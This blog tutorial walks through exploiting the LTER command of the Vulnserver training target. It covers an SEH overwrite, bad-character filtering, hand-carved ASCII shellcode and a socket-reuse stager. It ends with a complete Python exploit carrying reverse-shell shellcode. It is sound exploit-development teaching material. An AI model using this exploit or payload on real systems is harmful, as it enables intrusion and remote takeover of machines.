Introduction to Windows User Mode Exploitation pt. 6

 EggHunters with SEH

LTER 

Since we currently have gone through:
- Vanilla Stack Buffer Overflow `TRUN`
- Structured Exceptional Handler Stack Buffer Overflow `GMON`
- Stack Buffer Overflow (Multistage exploit) using EggHunters  `KSTET`

We we look at SEH but this time with Bad-Characters and use of Custom Encoders and a staged payload (with socket reuse) , I would suggest we use Mona as its still functional and also its allowed in the OSED exam (This serves as tutorial to someone who wants to learn Mona too)

We start off by installing mona.  I use this handy script I have modified from [here](https://github.com/epi052/osed-scripts/blob/main/install-mona.ps1) : Loading Mona is simple, a few commands you should know: 

`.load pykd.pyd`

`!py mona`


**It should be known Mona is its own stand alone tool, but it has been integrated into WinDBG with a wrapper around pykd.pyd, Mona has been integrated into ImmunityDBG too.** (also a good & longer [cheatsheet](https://x3tb3t.github.io/2018/03/29/mona/))

Looking at LTER command on IDA Pro looks like the  below:




with a very little nasty trick under its sleeve, it seems to mangle any characters that aren't signed just above the `JNS`  makes this take up a lot of bad characters, lets give it a test. 


With 5000 A's


we have our SEH Handler:





we then look for a `POP POP RET`

`!py mona seh -cp nonull -cm safeseh=false, -o` is the command :` -cp nonull` exclude pointers with null bytes `-cp safeseh=off` is SafeSEH enabled and `-o` is ignore OS modules



lets try using the first one `0x625010b4` 

we send our exploit which looks currently like this : 


somehow we hit `0x62502035` instead of `0x625020b4` , this is shown on ASCII :


Seems we have some bad characters, lets try and hunt them out.

`!mona bytearray -cpb '\x00\x0a\x0d'` this instructs mona to create a byte array that excludes null chars, carriage return and line feed.

we view the memory to see how it compares 


now we test this against mona : 
`!mona cmp -f C:\Users\user\Desktop\Scripts\Scripts\bytearray.bin -a 00abf1ee`

I had an error on mona, that i fixed on line 8515 : (patched [script](https://github.com/ke0z/mona/blob/master/mona.py)  provided)

"Error


"
Now we can view the compare and possible bad characters



we are given two more bad characters 23 and 80, we also can see how our `0x625020b4` is translated  to `0x62502035` we have to go back to our PPR and look for only allowed characters: 

we run the command :  `!py mona seh -cm safeseh=off -cp nonull,ascii -o -cpb '\x0a\x0d'` for this we specified only ASCII as it seems the only allowed characters are ASCII from what we observe, this is because 0x01 to 0x&F are a range that belongs to the ASCII character set, we can also see this on the dumped memory when we send our 'bad character' 

and we receive 3 pointers.


`0x6250172b` is a very good candidate for us to work with, lets try it out.


and awesome! it works, 

since this is our NSEH we need to go to our SEH which is basically a 4byte long instruction, we need a short jump , on the GMON SEH we exploited earlier on part 4 , we used a short jump ( `\xeb\x08`) however we cant use `\xeb` as its out of our range of `\x00 - \x7f` we need to perform that short jump with an opcode within our correct character set and should be at max 4bytes in size.

Looking at conditional Jumps they seem to suit our needs, as per the following table:



We can work with `JE/JZ` and `JNE/JNZ` , reason is we can have both of them as we do not know is the `ZF` (zero flag) is set or not, this way we can perform our jump is either one works out as there's only two states the `ZF` flag can be set, to either `1 or 0` 

so we will inject them as such:

`\x75\x08`         ; JNZ SHORT + 0x10 : Jump taken if ZF is 1
`\x74\x06 `       ; JZ SHORT + 0x8      :  if the above jump isn't taken this will be executed next (8                                                                    since 2 are taken by the above) if ZF is 0

Lets update our code.


And perfect, we land on our 'C' `\x43` small shellcode, we can use this to craft a jump to our 'A'`\x41` 


However , the long jump we need to perform will contain unallowed bytes.

Looking at where our A's start , `00d2f1ee`


Jumping back to this would be the following instruction : `JMP 00d2f1ee` 
However the furthest possible jump that has good characters we can take is `JMP SHORT +0x80` i.e. `\xeb\x80`

We have a very small 'C' (our small shell code) 29 bytes in total, we need to figure a way to encode most of our instructions, we will be using Manual Encoding for this as when I tried the existing encoders(`msfvenom alpha_mixed, add_sub, opt_sub`) for the alphanumeric character sets they are too big for us to use: 

Manual Encoding


I am currently following [this](https://web.archive.org/web/20190218144432/https://vellosec.net/2018/08/carving-shellcode-using-restrictive-character-sets/) blog to help me learn how to do this, its titled **Carving Shellcode Using Restrictive Character Sets:** 

Short version (you can go ahead and read the long version its super helpful) we will be using the `SUB` instruction, typically we will use `EAX` but any can be used.

- First we need to zero out a register to use 
- `XOR EAX, EAX` is normally the most common , its good if the required bytes are on your good character sets
- `AND` method, this requires two (4 byte) values and you perform an `AND` operation to them and the result equal zero : e.g. `AND EAX, 554E4D4A`
   `AND EAX, 2A313235`
- More ways to zero out a register are [here](https://web.archive.org/web/20190428131231/https://stackoverflow.com/questions/4829937/how-many-ways-to-set-a-register-to-zero) on StackOverflow.
- After Zeroing the register, we can start the manual encoding
- We need a shellcode to encode


LETS START 

- Our shellcode should be as such: 
- Point ESP to a place that will be in the execution flow path
- Manipulate `EAX` using `ADD`, `SUB` or `AND` instructions to make it hold our desired  `\xeb\x80` value
- So to accomplish the above we need to :
- Get the current value of ESP
- Get the offset between current ESP location and the place where we want it to be
- Add that offset to ESP, so it points to the new location 



We update our exploit code :

And we can see the `ESP` does show the end of our C's buffer:




So any PUSH instruction will put things here: and that is our goal.

Carve Short Jump


We need to put the `short jump + 0x80` to `EAX` ( `\xeb\x80` ) into `EAX`, since `EAX` is a 32 bit register we need to pad it with `\x90\x90` so it will be `\xeb\x80\x90\x90` 
Since x86 is little endian we must reverse the value to make `EAX` equal to `\x90\x90\x80\xeb` when the `PUSH EAX` it will revert to `\xeb\x80\x90\x90` 

- First we need to zero out our `EAX` register 
- `XOR EAX, EAX`
- Then we need a value when added results in `909080eb`
- `ADD` 48484075 to `EAX`
- then `ADD` 48484076 to `EAX`

Lets test this :


I changed the `xor eax, eax` since `\x31\xc0` (`xc0` is converted to `\x41`)


Update our code :

Our updated code stands as follows, we need to realign the stack once we manage to get our short jump `\xeb\x80` using the following : we point it to a higher memory address to avoid it overwriting our shellcode


here's the updated code:




Since now everything works (everything bein taking our short jump 79 bytes, and (re)aligning the stack) we can do a long jump, however we can use an encoder that handles ascii automatically here's the [repository](https://github.com/ke0z/Automatic-ASCII-Shellcode-Subtraction-Encoder/)  (this is my fork with a few fixes)

We run the tool :
` python3 encoder.py -m -p -s 'E92DF2FFFF'`  


So our current exploit script looks like such :

Staged Shellcode


Now we are going to work with the socket-reuse method to send data using a staged shellcode : 
- A staged shellcode works by using intermediary shellcodes that act as steps leading to the execution of a final shellcode. Each of the intermediary shellcodes is known as a stager, and its primary goal  is to provide a means to retrieve the final shellcode and execute it eventually.
- There are payloads with several stages, but the usual case involves having a two-stage payload where the first stage , `stage0` , is a stub shellcode that will connect back to the attacker's machine to download the final shellcode to be executed. Once retrieved, the stage0 stub will inject the final shellcode somewhere in the memory of the payload's process and execute it.
- Advantages :
- small footprint on disk
- final shellcode isnt embedded into the executable, if shellcode is captured only stage0 stub will be captured
- final shellcode is loaded only in memory never touches the disk (less prone to be detected by AV solutions
- reuse of the same stage0 dropper for many shellcodes as you can simply replace the final shellcode that gets served to the victim machine.


Socket-Reuse


From [Part5](https://0z.ke/UserLand+Explotation/Introduction+to+Windows+User+Mode+Exploitation+pt.+5) on the KSTET command, we managed to use a multistage exploit, we shall be looking for just about the same procedure however we will will reuse part of the `WinSocket`  calling stack minimize our shellcode's final length.

A simplified structure of a TCP server and client interaction:
*Image taken from [https://www.geeksforgeeks.org/socket-programming-cc/](https://www.geeksforgeeks.org/socket-programming-cc/)*

We can see the different functions needed by both the server and the client to perform a TCP communication. The actual data exchange occurs at the end by sending and receiving information.

What we will do for our `stage0` shellcode is take advantage of that calling stack, and create a shellcode with only a new `recv()` call instance, reuse the socket handle that uses Vulnserver to bind to port `9999` and set it up to receive and execute our `stage1` payload that will contain the reverse shellcode.

First lets take a look at the structure of the `recv()` call:

**Taken from [https://docs.microsoft.com/en-us/windows/win32/api/winsock/nf-winsock-recv](https://docs.microsoft.com/en-us/windows/win32/api/winsock/nf-winsock-recv).**

```
int recv(
SOCKET s,
char *buf,
int len,
int flags
);
```

1. `SOCKET s` is the socket handle.
2. `char *buf` is a pointer on where the received data will be stored.    
3. `int len` is the total amount of data expected.
4. `int flags` modifies the behavior of the `recv()` call. In our case, it can be zero.

We need to know 2 things
- Address of the `recv()` call in the system
- Value of the socket handle

For the Address : `0x0040252C`


For the socket handle : D4 (212)


Time to write some ASM! we have to also avoid null bytes and we have to push the parameters in reverse order (little endian)


We add a brute-force method for socket handle as this is dynamically created, we can compile this with `nasm` :

`nasm -f elf32 -o shellcode.o shellcode.asm`

Then we extract it with [this](https://github.com/Neetx/Shellcode-Extractor) tool: 

`objdump -d ../tmp/shellcode.o | python shellcode_extractor.py`

And we get back to using Automatic ASCII Shellcode encoder

`python3 encoder.py -m -p -s '\x83\xec\x02\x31\xff\x31\xdb\x53\x80\xc7\x04\x53\x89\xe3\x83\xc3\x64\x53\x47\x57\xb8\x90\x2c\x25\x40\xc1\xe8\x08\xff\xd0\x85\xc0\x75\xe3'



We need to align our `ESP` pointer again:



Lets update our exploit with that: we also need to pad the first bytes, so our long jump lands there and the execution slides to our stager:


Well since all works well, lets add our shellcode:



and we update our exploit script:

```
import socket

import struct

import time

  

def connect_to_server(host='172.19.131.67', port=9999):

    try:

        # Create a socket object

        client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

        # Connect to the server

        client_socket.connect((host, port))

        print(f"Successfully connected to {host} on port {port}")

  
  

        #long jump

        scbuf =b'\x25\x26\x2a\x4f\x3c\x25\x41\x41\x30\x42\x2d\x61\x22\x24\x21\x2d'

        scbuf+=b'\x62\x27\x28\x28\x2d\x3e\x25\x23\x26\x50\x25\x26\x2a\x4f\x3c\x25'

        scbuf+=b'\x41\x41\x30\x42\x2d\x69\x38\x6d\x64\x2d\x3e\x38\x7f\x38\x2d\x70'

        scbuf+=b'\x61\x21\x63\x50'

  

        #stager

        PAYLOAD =  b'\x25\x26\x2a\x4f\x3c\x25\x41\x41\x30\x42\x2d\x3c\x24\x7e\x7f\x2d'

        PAYLOAD += b'\x29\x7d\x7f\x76\x2d\x26\x7b\x71\x79\x50\x25\x26\x2a\x4f\x3c\x25'

        PAYLOAD += b'\x41\x41\x30\x42\x2d\x61\x7c\x7f\x7c\x2d\x7f\x38\x7f\x60\x2d\x21'

        PAYLOAD += b'\x7a\x7b\x62\x50\x25\x26\x2a\x4f\x3c\x25\x41\x41\x30\x42\x2d\x39'

        PAYLOAD += b'\x50\x3c\x7f\x2d\x30\x7f\x60\x3b\x2d\x57\x6f\x7a\x3c\x50\x25\x26'

        PAYLOAD += b'\x2a\x4f\x3c\x25\x41\x41\x30\x42\x2d\x70\x77\x37\x28\x2d\x66\x7a'

        PAYLOAD += b'\x38\x3c\x2d\x72\x7d\x63\x76\x50\x25\x26\x2a\x4f\x3c\x25\x41\x41'

        PAYLOAD += b'\x30\x42\x2d\x42\x2d\x34\x22\x2d\x2d\x31\x60\x24\x2d\x2d\x4e\x24'

        PAYLOAD += b'\x62\x50\x25\x26\x2a\x4f\x3c\x25\x41\x41\x30\x42\x2d\x21\x7f\x7f'

        PAYLOAD += b'\x68\x2d\x2a\x61\x7d\x64\x2d\x2c\x3c\x7f\x6f\x50\x25\x26\x2a\x4f'

        PAYLOAD += b'\x3c\x25\x41\x41\x30\x42\x2d\x33\x3c\x63\x38\x2d\x2b\x7f\x2b\x37'

        PAYLOAD += b'\x2d\x22\x7d\x6c\x3d\x50\x25\x26\x2a\x4f\x3c\x25\x41\x41\x30\x42'

        PAYLOAD += b'\x2d\x61\x2b\x3b\x28\x2d\x7f\x6f\x7c\x60\x2d\x21\x33\x6d\x23\x50'

        PAYLOAD += b'\x25\x26\x2a\x4f\x3c\x25\x41\x41\x30\x42\x2d\x7f\x60\x3d\x27\x2d'

        PAYLOAD += b'\x7f\x34\x50\x7f\x2d\x7f\x7e\x6f\x28\x50'

  

        #SHELLCODE

        SHELL =  b""

        SHELL += b"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64"

        SHELL += b"\x8b\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28"

        SHELL += b"\x0f\xb7\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c"

        SHELL += b"\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52"

        SHELL += b"\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"

        SHELL += b"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49"

        SHELL += b"\x8b\x34\x8b\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01"

        SHELL += b"\xc7\x38\xe0\x75\xf6\x03\x7d\xf8\x3b\x7d\x24\x75"

        SHELL += b"\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b"

        SHELL += b"\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"

        SHELL += b"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a"

        SHELL += b"\x8b\x12\xeb\x8d\x5d\x68\x33\x32\x00\x00\x68\x77"

        SHELL += b"\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8"

        SHELL += b"\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b"

        SHELL += b"\x00\xff\xd5\x50\x50\x50\x50\x40\x50\x40\x50\x68"

        SHELL += b"\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x05\x68\xac\x13"

        SHELL += b"\x8c\x2c\x68\x02\x00\x11\x5c\x89\xe6\x6a\x10\x56"

        SHELL += b"\x57\x68\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0c"

        SHELL += b"\xff\x4e\x08\x75\xec\x68\xf0\xb5\xa2\x56\xff\xd5"

        SHELL += b"\x68\x63\x6d\x64\x00\x89\xe3\x57\x57\x57\x31\xf6"

        SHELL += b"\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44\x24\x3c\x01"

        SHELL += b"\x01\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56\x56"

        SHELL += b"\x56\x46\x56\x4e\x56\x56\x53\x56\x68\x79\xcc\x3f"

        SHELL += b"\x86\xff\xd5\x89\xe0\x4e\x56\x46\xff\x30\x68\x08"

        SHELL += b"\x87\x1d\x60\xff\xd5\xbb\xaa\xc5\xe2\x5d\x68\xa6"

        SHELL += b"\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0"

        SHELL += b"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5"

  

        # create STAGE1 with the shellcode and pad the rest of the 1024 buffer with NOPs

        STAGE1 = SHELL + b'\x90' * (1024 - len(SHELL))

  

        header = b'LTER .'

        fuzz_data = b'A' * 16

        fuzz_data += b'\x54'                # PUSH ESP

        fuzz_data += b'\x58'                # POP EAX

        fuzz_data += b'\x66\x2d\x01\x0b'    # SUB AX,0x0b01

        fuzz_data += b'\x50'                # PUSH EAX

        fuzz_data += b'\x5c'                # POP ESP

        fuzz_data += PAYLOAD

        fuzz_data += b'A' * (3554 - 4 - 79 - 16 - 8 - len(PAYLOAD)) # 4 bytes for the NSEH overwrite (79 for our short jump, 16 padding, 8 stack alingment)

  

        #Align stack for long jump

        fuzz_data += b'\x54' # PUSH ESP

        fuzz_data += b'\x58' # POP EAX

        fuzz_data += b'\x2c\x30' # SUB AL, 0x30

        fuzz_data += b'\x50' # PUSH EAX

        fuzz_data += b'\x5c' # POP ESP

        fuzz_data += scbuf # LONG JUMP

        fuzz_data += b'A' * (79 - 6- len(scbuf)) # 6 bytes for the stack alignment bytes

  

        NSEH = b'\x75\x08' # NSEH overwrite to jump back 8 bytes if ZF is 1

        NSEH += b'\x74\x06' # NSEH overwrite to jump back 6 bytes if ZF is 0

        SEH = struct.pack('L',  0x6250172b) # POP POP RET for our SEH overwrite

        junk = b'C' * 2

        junk += b'\x54'                     # PUSH ESP

        junk += b'\x58'                     # POP EAX

        junk += b'\x66\x05\x73\x13'         # ADD AX, 0x1373

        junk += b'\x50'                     # PUSH EAX

        junk += b'\x5c'                     # POP ESP

  

        #making our short jump

        junk += b'\x25\x50\x50\x4A\x50'     # AND EAX, 0x504A5050

        junk += b'\x25\x2A\x2A\x30\x2A'     # AND EAX, 0x2A302A2A

        junk += b'\x05\x75\x40\x48\x48'     # ADD EAX, 0x48484075

        junk += b'\x05\x76\x40\x48\x48'     # ADD EAX, 0x48484076

        junk += b'\x50'                     # PUSH EAX

  

        junk += b'C' * (5000 - 3554 - 4)

        exploit = header + fuzz_data + NSEH + SEH + junk

  

        client_socket.sendall(exploit)

  

        print(f"Sent message")  

  

        # Example of receiving a response (if any)

        response = client_socket.recv(1024)

        time.sleep(3)

        client_socket.sendall(STAGE1)

        print(f"Sent stage1")

        if response:

            print(f"Received response: {response.decode('utf-8')}")

        else:

            print("No response received from the server.")

  

    except socket.error as e:

        print(f"Socket error: {e}")

    finally:

        # Close the connection

        client_socket.close()

        print("Connection closed.")

  

if __name__ == "__main__":

    connect_to_server()
```

Lets run it: 


And **AWESOME** we get a shell!

With that we conclude working on Vulnerable Server, on to new challenges on ASLR , NX and DEP bypass in the coming blog posts.

Comments

Popular posts from this blog

Introduction to Windows User Mode Exploitation pt. 1

Introduction to Windows User Mode Exploitation pt. 5